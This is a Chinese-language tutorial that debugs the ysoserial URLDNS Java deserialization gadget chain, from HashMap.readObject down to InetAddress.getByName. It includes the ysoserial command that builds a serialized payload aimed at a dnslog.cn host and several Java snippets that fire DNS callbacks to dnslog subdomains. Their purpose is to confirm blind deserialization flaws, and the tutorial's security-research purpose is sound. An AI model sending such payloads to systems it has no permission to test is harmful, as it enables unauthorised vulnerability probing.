URLDNS链利用

先来看看用ysoserial工具怎么利用的。

  1. # 生成序列化Payload
  2. java -jar ysoserial-0.0.6-SNAPSHOT-all.jar URLDNS http://urldns.epraqr.dnslog.cn/ > a.ser

然后将序列化payload发给对应的目标结合漏洞让他进行反序列化,这里本地直接写个反序列化过程举例了;

  1. package org.example;
  2. import java.io.FileInputStream;
  3. import java.io.IOException;
  4. import java.io.ObjectInputStream;
  5. public class App {
  6. public static void main(String[] args) throws IOException, ClassNotFoundException {
  7. ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("/Users/d4m1ts/d4m1ts/tools/java/ysoserial/target/a.ser"));
  8. objectInputStream.readObject();
  9. }
  10. }

DNSLog成功收到了请求
image-20210806170017457

动态调试ysoserial

简而言之,就是给ysoserial项目加载到idea中,方便我们分析调试。
下载ysoserial项目后,导入到idea中,解决掉依赖问题

有的依赖一直装不上,可以新建个maven项目,然后再给不能下载的依赖放到pom.xml,下载后说不定可以解决。

实在不行就手动下载jar然后导入吧

idea会自动识别ysoserial的主类ysoserial.GeneratePayload,然后直接运行项目即可;我们也可以通过pom.xml文件的mainClass属性看到主类,如果正常显示ysoserial的用法,就说明项目部署成功了。
image-20210806180252517
因为ysoserial生成payload需要传入参数,所以我们手动配置一下项目,传入参数
Run --> Edit Configurations...
image-20210806180358514
然后在Program arguments输入对应的参数
image-20210806180620820
再次运行
image-20210806180640137
生成了序列化数据,说明一切运行成功,就可以用idea开始动态调试了。

URLDNS链分析

URLDNS是ysoserial里面就简单的一条利用链,但URLDNS的利用效果是只能触发一次dns请求,而不能去执行命令。比较适用于漏洞验证这一块,尤其是无回显的命令执行,而且URLDNS这条利用链并不依赖于第三方的类,而是JDK中内置的一些类和方法。
打开ysoserial/payloads/URLDNS.java的源码,可以看到它的调用链

  1. * Gadget Chain:
  2. * HashMap.readObject()
  3. * HashMap.putVal()
  4. * HashMap.hash()
  5. * URL.hashCode()

这样看还是有点不特别明白,调试分析看看。
模拟对序列化后的ser文件进行反序列化处理,然后分析整个过程,反序列化代码如下(第一节中的反序列化代码):
image-20210807111415065
根据上述的Gadget Chain,可见触发点是在HashMap.readObject(),为了节约时间,我们直接在HashMap.readObject()处下断点。
image-20210807111319640
运行主程序开始反序列化,自动在我们下断点的地方暂停。
然后一直F8
根据Gadget Chain发现使用了putVal方法,但这不是重点,重点是会调用hash方法
image-20210807113940786
跟进hash方法
image-20210807114339387
如果key不是null就会调用key.hashCode方法,跟进hashCode方法,这里调用的是URL类中的hashCode方法
image-20210807114632343
hashCode属性不为-1时就直接return,就不会触发hashCode方法,也就不会触发接下来的DNS解析
这里hashCode值默认为 -1,所以会执行 handler.hashCode(this);

URLDNS链中也通过反射将hashCode的值设置为-1

image-20210807162552452
跟一下handler,看看是什么玩意儿
image-20210807115000929
URLStreamHandler类(也是我们传入的handler),也就是说这里调用的是URLStreamHandler.hashCode
跟进hashCode方法,发现会调用getHostAddress方法对传入的URL对象进行解析
image-20210807115253251
跟进getHostAddress方法,发现会调用getHost方法,然后调用InetAddress.getByName(host)发起DNS请求,至此整个过程完毕。
image-20210807115854926

思考

分析过程中,发现HashMap.put方法中也调用了hash方法,然后去进行hashCode计算等。
image-20210808103619949
那么就是说,在put操作的时候,也会触发对应的dns解析,试试看。

  1. package org.example;
  2. import java.net.MalformedURLException;
  3. import java.net.URL;
  4. import java.util.HashMap;
  5. public class App {
  6. public static void main(String[] args) throws MalformedURLException {
  7. HashMap map = new HashMap();
  8. URL url = new URL("http://cgu44y.dnslog.cn/");
  9. map.put(url, 2);
  10. }
  11. }

image-20210808103821534
成功获取到了DNS解析请求记录。
那么为什么ysoserial在生成序列化数据的时候,也调用了put方法,但是没有收到DNS解析记录呢?
原因就在于继承抽象类URLStreamHandlerSilentURLStreamHandler类中,重写了openConnectiongetHostAddress
image-20210808104022366
因此在调用 put 方法的时候不会触发 dns 查询。
进行尝试重写了openConnectiongetHostAddress,发现确实不能收到dns查询记录。

  1. package org.example;
  2. import java.io.IOException;
  3. import java.net.*;
  4. import java.util.HashMap;
  5. public class App {
  6. public static void main(String[] args) throws MalformedURLException {
  7. URLStreamHandler urlStreamHandler = new URLStreamHandler() {
  8. @Override
  9. protected URLConnection openConnection(URL u) throws IOException {
  10. return null;
  11. }
  12. @Override
  13. protected synchronized InetAddress getHostAddress(URL u){
  14. return null;
  15. }
  16. };
  17. HashMap map = new HashMap();
  18. URL url = new URL(null, "http://qyd9tm.dnslog.cn/", urlStreamHandler);
  19. map.put(url, 2);
  20. }
  21. }

那这样我们反序列化的时候不是也因为重写了方法而不能进行 dns 查询吗?
原因在于 URL 里面的 handler 设置的是 transient
我们都知道一个对象只要实现了Serilizable接口,这个对象就可以被序列化,java的这种序列化模式为开发者提供了很多便利,我们可以不必关系具体序列化的过程,只要这个类实现了Serilizable接口,这个类的所有属性和方法都会自动序列化。
然而在实际开发过程中,我们常常会遇到这样的问题,这个类的有些属性需要序列化,而其他属性不需要被序列化,打个比方,如果一个用户有一些敏感信息(如密码,银行卡号等),为了安全起见,不希望在网络操作(主要涉及到序列化操作,本地序列化缓存也适用)中被传输,这些信息对应的变量就可以加上transient关键字。
也就是说transient修饰符无法被序列化,所以虽然它最后是没执行dns请求,但是在反序列化的时候还是会执行dns请求
image-20210808104722031
测试一下transient

  1. package org.example;
  2. import java.io.*;
  3. import java.util.Arrays;
  4. public class App {
  5. public static void main(String[] args) throws IOException, ClassNotFoundException {
  6. Test test = new Test();
  7. // 设置值
  8. test.test = "Test Value";
  9. System.out.println(test.test);
  10. ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
  11. ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
  12. objectOutputStream.writeObject(test);
  13. System.out.println(Arrays.toString(byteArrayOutputStream.toByteArray()));
  14. // 反序列化
  15. ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(byteArrayOutputStream.toByteArray());
  16. ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
  17. Test serTest = (Test) objectInputStream.readObject();
  18. System.out.println(serTest.test);
  19. }
  20. }
  21. class Test implements Serializable {
  22. transient public String test;
  23. }

image-20210808143905639
可见反序列化后的值为null,说明序列化时并没有将test对应的值代入进去。

总结

这条链还是比较简单的,主要是反序列化过程中HashMap的Key会进行Key.HashCode()计算,如果Key传入的是URL(URL context, String spec, URLStreamHandler handler)类型(重写URLStreamHandler避免有多余的DNS请求),在计算hashCode()的时候,就会调用URLStreamHandler.hashCode()触发getHost方法对目标进行DNS解析。
举个例子:

  1. package org.example;
  2. import java.io.IOException;
  3. import java.net.MalformedURLException;
  4. import java.net.URL;
  5. import java.net.URLConnection;
  6. import java.net.URLStreamHandler;
  7. public class App {
  8. public static void main(String[] args) throws MalformedURLException {
  9. /*
  10. * `URL(URL context, String spec, URLStreamHandler handler)`类型,在计算`hashCode()`的时候,就会调用`URLStreamHandler.hashCode()`触发`getHost`方法对目标进行DNS解析
  11. * */
  12. URLStreamHandler handler = new URLStreamHandler() {
  13. @Override
  14. protected URLConnection openConnection(URL u) throws IOException {
  15. return null;
  16. }
  17. };
  18. URL url = new URL(null, "http://k0e09d.dnslog.cn/", handler);
  19. url.hashCode(); // 触发点
  20. }
  21. }

image-20210807211449064
整个调用链如下:

  1. HashMap.readObject() -> HashMap.putVal() -> HashMap.hash() -> URL.hashCode() -> URLStreamHandler.hashCode().getHostAddress() -> URLStreamHandler.getHostAddress().InetAddress.getByName()

URLDNS 这个利用链主要用来检测是否存在反序列化漏洞,有如下两个优点:

  • 使用java 内部的类进行构造,不依赖第三方库
  • 如果目标可以出网,在目标没有回显的时候,可以用来验证是否存在反序列化漏洞